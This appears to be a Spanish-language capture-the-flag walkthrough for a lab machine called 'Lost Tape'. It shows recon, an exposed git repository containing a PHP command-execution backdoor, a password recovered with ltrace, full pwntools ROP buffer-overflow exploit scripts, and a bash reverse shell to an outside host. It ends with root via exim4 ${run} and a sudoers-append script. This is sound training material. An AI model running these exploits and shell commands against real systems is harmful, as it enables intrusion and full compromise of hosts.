Lost Tape

Info
Name
Difficulty
Ip
Platform
Recognition
nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 172.16.243.135 -oG allPortsnmap -p22,80,65453 -sCV 172.16.243.135 -Pn -n -oN targeted# Nmap 7.95 scan initiated Sun Jun 8 14:56:34 2025 as: nmap -p22,80,65453 -sCV -Pn -n -oN targeted 172.16.243.135
Nmap scan report for 172.16.243.135
Host is up (0.00051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 aa:3c:69:15:02:af:09:ff:e3:1e:f7:b7:a3:8b:c3:46 (ECDSA)
|_ 256 31:9b:3e:9b:f2:f6:29:00:f4:4a:93:aa:d8:e7:ba:5e (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
| http-git:
| 172.16.243.135:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: commit
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.62 (Debian)
65453/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP:
| dom 08 jun 2025 14:56:51 -03
| Enter the password:
| DNSVersionBindReqTCP:
| dom 08 jun 2025 14:56:46 -03
| Enter the password:
| FourOhFourRequest, LDAPSearchReq, LPDString:
| dom 08 jun 2025 14:57:06 -03
| Enter the password: Incorrect password
| GenericLines:
| dom 08 jun 2025 14:56:35 -03
| Enter the password: Incorrect password
| GetRequest, HTTPOptions, RTSPRequest:
| dom 08 jun 2025 14:56:41 -03
| Enter the password: Incorrect password
| Help, Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| dom 08 jun 2025 14:56:56 -03
| Enter the password: Incorrect password
| LDAPBindReq:
| dom 08 jun 2025 14:57:06 -03
| Enter the password:
| NULL:
| dom 08 jun 2025 14:56:35 -03
| Enter the password:
| RPCCheck:
| dom 08 jun 2025 14:56:41 -03
| Enter the password:
| SMBProgNeg:
| dom 08 jun 2025 14:56:56 -03
| Enter the password:
| X11Probe:
| dom 08 jun 2025 14:57:01 -03
|_ Enter the password:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65453-TCP:V=7.95%I=7%D=6/8%Time=6845CED9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,31,"dom\x2008\x20jun\x202025\x2014:56:35\x20-03\nEnter\x20the\x20pas
SF:sword:\x20")%r(GenericLines,44,"dom\x2008\x20jun\x202025\x2014:56:35\x2
SF:0-03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(GetReque
SF:st,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20pas
SF:sword:\x20Incorrect\x20password\n")%r(HTTPOptions,44,"dom\x2008\x20jun\
SF:x202025\x2014:56:41\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20p
SF:assword\n")%r(RTSPRequest,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-
SF:03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(RPCCheck,3
SF:1,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20passwor
SF:d:\x20")%r(DNSVersionBindReqTCP,31,"dom\x2008\x20jun\x202025\x2014:56:4
SF:6\x20-03\nEnter\x20the\x20password:\x20")%r(DNSStatusRequestTCP,31,"dom
SF:\x2008\x20jun\x202025\x2014:56:51\x20-03\nEnter\x20the\x20password:\x20
SF:")%r(Help,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the
SF:\x20password:\x20Incorrect\x20password\n")%r(SSLSessionReq,44,"dom\x200
SF:8\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incor
SF:rect\x20password\n")%r(TerminalServerCookie,44,"dom\x2008\x20jun\x20202
SF:5\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(TLSSessionReq,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\n
SF:Enter\x20the\x20password:\x20Incorrect\x20password\n")%r(Kerberos,44,"d
SF:om\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(SMBProgNeg,31,"dom\x2008\x20jun\x202025\x
SF:2014:56:56\x20-03\nEnter\x20the\x20password:\x20")%r(X11Probe,31,"dom\x
SF:2008\x20jun\x202025\x2014:57:01\x20-03\nEnter\x20the\x20password:\x20")
SF:%r(FourOhFourRequest,44,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nE
SF:nter\x20the\x20password:\x20Incorrect\x20password\n")%r(LPDString,44,"d
SF:om\x2008\x20jun\x202025\x2014:57:06\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(LDAPSearchReq,44,"dom\x2008\x20jun\x20202
SF:5\x2014:57:06\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(LDAPBindReq,31,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nEn
SF:ter\x20the\x20password:\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 8 14:58:03 2025 -- 1 IP address (1 host up) scanned in 88.26 secondsPort 80
git-dumper http://172.16.243.135/.git web<?php
echo 'Welcome';
system($_GET["command_execute"]);
?>❯ curl -s -X GET 'http://172.16.243.135/?command_execute=id'
Welcome
❯ 
ffuf -u 'http://172.16.243.135/?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fl 1import requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
for line in w:
line = line.strip()
data = {
f"{line}": "/etc/passwd"
}
r = requests.post(url, data=data)
response = r.text.replace("Welcome", "")
if response != "":
print(f"Parámetro {line} encontrado:\n {r.text}")
breakParámetro file encontrado:
Welcomeroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
maci:x:1000:1000:maci,,,:/home/maci:/bin/bash
Debian-exim:x:102:110::/var/spool/exim4:/usr/sbin/nologin
dk:x:1001:1001:dk,,,:/home/dk:/bin/bash❯ curl -s -X POST 'http://172.16.243.135/' -d 'file=index.php'
Welcome<?php
echo 'Welcome';
$file = $_POST["file"];
echo file_get_contents($file);
?>
❯ import requests
url = 'http://172.16.243.135/index.php'
for num in range(10000):
data = {
"file": f"/proc/{num}/cmdline"
}
r = requests.post(url, data=data)
response = r.text.replace("Welcome", "")
if response != "":
print(f"{num}: {response}")1: /sbin/init
333: /lib/systemd/systemd-journald
356: /lib/systemd/systemd-udevd
384: /lib/systemd/systemd-timesyncd
386: /usr/bin/VGAuthService
387: /usr/bin/vmtoolsd
447: /lib/systemd/systemd-timesyncd
448: /usr/sbin/cron-f
449: /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only
461: /usr/sbin/rsyslogd-n-iNONE
463: /lib/systemd/systemd-logind
472: /usr/sbin/rsyslogd-n-iNONE
473: /usr/sbin/rsyslogd-n-iNONE
474: /usr/sbin/rsyslogd-n-iNONE
507: dhclient-4-v-i-pf/run/dhclient.ens33.pid-lf/var/lib/dhcp/dhclient.ens33.leases-I-df/var/lib/dhcp/dhclient6.ens33.leasesens33
543: /usr/bin/vmtoolsd
544: /usr/bin/vmtoolsd
631: /sbin/agetty-o-p -- \u--noclear-linux
652: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
692: /usr/sbin/apache2-kstart
748: /usr/sbin/apache2-kstart
749: /usr/sbin/apache2-kstart
750: /usr/sbin/apache2-kstart
751: /usr/sbin/apache2-kstart
754: /usr/sbin/apache2-kstart
780: /usr/sbin/xinetd-pidfile/run/xinetd.pid-stayalive-inetd_compat-inetd_ipv6
935: /usr/sbin/exim4-bd-q30m
942: /usr/sbin/apache2-kstart
943: /usr/sbin/apache2-kstartimport requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
for line in w:
line = line.strip()
data = {
"file": f"/etc/xinetd.d/{line}"
}
r = requests.post(url, data=data)
response = r.text.replace("Welcome", "")
if response != "":
print(f"/etc/xinetd.d/{line}:\n {response}")/etc/xinetd.d/services:
# default: off
# description: An internal xinetd service, listing active services.
service services
{
type = INTERNAL UNLISTED
port = 9098
socket_type = stream
protocol = tcp
wait = no
disable = yes
only_from = 127.0.0.1
}
/etc/xinetd.d/servers:
# default: off
# description: An internal xinetd service, listing active servers.
service servers
{
type = INTERNAL UNLISTED
port = 9099
socket_type = stream
protocol = tcp
wait = no
disable = yes
only_from = 127.0.0.1
}
/etc/xinetd.d/time:
# default: off
# description: An RFC 868 time server. This protocol provides a
# site-independent, machine readable date and time. The Time service sends back
# to the originating source the time in seconds since midnight on January first
# 1900.
# This is the tcp version.
service time
{
disable = yes
type = INTERNAL
id = time-stream
socket_type = stream
protocol = tcp
user = root
wait = no
}
# This is the udp version.
service time
{
disable = yes
type = INTERNAL
id = time-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
}
/etc/xinetd.d/manager:
service manager_service
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = maci
server = /usr/sbin/manager
bind = 0.0.0.0
port = 65453
type = UNLISTED
}curl -s -X POST 'http://172.16.243.135/' -d 'file=/usr/sbin/manager' -o managermanager: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8755bb23d1a83b341a1fb84dc8974b44d3f328f0, for GNU/Linux 3.2.0, not stripped❯ ltrace ./manager
system("date"dom 08 jun 2025 16:03:07 -03
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
printf("Enter the password: ") = 20
fflush(0x7ffff7f815c0Enter the password: ) = 0
fgets(test
"test\n", 524, 0x7ffff7f808e0) = 0x7fffffffdac0
strcspn("test\n", "\n") = 4
strcmp("test", "S3cr3tP@ssw0rd123") = 33
puts("Incorrect password"Incorrect password
) = 19
fflush(0x7ffff7f815c0) = 0
exit(1 <no return ...>
+++ exited (status 1) +++
❯ ❯ ./manager
dom 08 jun 2025 16:03:58 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 1
Enter file path: /etc/host
The file could not be opened: No such file or directory
❯ ❯ ./manager
dom 08 jun 2025 16:04:59 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: test
Suggestion saved!
❯ ❯ ./manager
dom 08 jun 2025 16:05:46 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: AAAAAAAAAAA<SNIP>AAAAAAAA
Suggestion saved!
zsh: segmentation fault (core dumped) ./manager
❯ Intrusión
Buffer Overflow - ROP

from pwn import *
def main():
offset = ?
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
system_addr = ?
payload = junk + bin_sh + ? + system_addr + ?
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.recvall()
if __name__ == '__main__':
main()- [x] El offset
- [x] La dirección de system dentro del binario
- [ ] 2 gadgets o una función que nos permita hacer un ROP exitosamenteObtener el offset
pattern_create.rb -l 500gdb -q ./manager
❯ pattern_offset.rb -q 0x41366c41356c4134
[*] Exact match at offset 344
❯ from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
system_addr = ?
payload = junk + bin_sh + ? + system_addr + ?
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.recvall()
if __name__ == '__main__':
main()Dirección system
❯ objdump -D ./manager | grep 'system'
0000000000401050 <system@plt>:
401050: ff 25 4a 24 00 00 jmp *0x244a(%rip) # 4034a0 <system@GLIBC_2.2.5>
40137d: e8 ce fc ff ff call 401050 <system@plt>
❯ from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
system_addr = p64(0x401050)
payload = junk + bin_sh + ? + system_addr + ?
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.recvall()
if __name__ == '__main__':
main()Gadgets

Extraer la dirección de pop r13 y la función LTe
pop r13 y la función LTe❯ objdump -D ./manager | grep 'LTe'
00000000004011c6 <LTe>:
❯ 
from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011d7)
LTe = p64(0x4011c6)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + LTe
host, port = '172.16.243.135', 65453
context.binary = './manager'
p = process("./manager")
p.sendline(b"S3cr3tP@ssw0rd123")
p.sendline(b"2")
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
main()
from pwn import *
def main():
offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011d7)
LTe = p64(0x4011c6)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + LTe
host, port = '172.16.243.135', 65453
r = remote(host, port)
r.sendline(b"S3cr3tP@ssw0rd123")
r.sendline(b"2")
r.sendline(payload)
r.interactive()
if __name__ == '__main__':
main()
Escalada de privilegios
bash -c 'bash -i >& /dev/tcp/172.16.243.1/443 0>&1'sudo nc -nvlp 443


Buffer overflow - Function call
Welcome to the future feature
/bin/bashimport subprocess
import sys
import select
import os
from struct import pack
offset = 40
f_function = pack("<Q", 0x401167)
junk = b"A" * offset
payload = junk + f_function
def simple_interactive(proc, initial_input):
proc.stdin.write(initial_input)
proc.stdin.flush()
while True:
rlist, _, _ = select.select([proc.stdout, sys.stdin], [], [])
if proc.stdout in rlist:
data = os.read(proc.stdout.fileno(), 1024)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
if sys.stdin in rlist:
user_input = os.read(sys.stdin.fileno(), 1024)
if not user_input:
break
proc.stdin.write(user_input)
proc.stdin.flush()
proc = subprocess.Popen(["sudo", "-u", "dk", "/usr/sbin/name"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
simple_interactive(proc, payload + b"\n")
Dk
sudo exim4 -be '${run{/bin/id}}'dk@LostTape:~$ sudo exim4 -be '${run{/bin/id}}'
uid=0(root) gid=110(Debian-exim) groups=110(Debian-exim),0(root)
dk@LostTape:~$ #!/bin/bash
echo 'dk ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoerschmod 777 /tmp/privescsudo exim4 -be '${run{/tmp/s}}'Root

Latest update
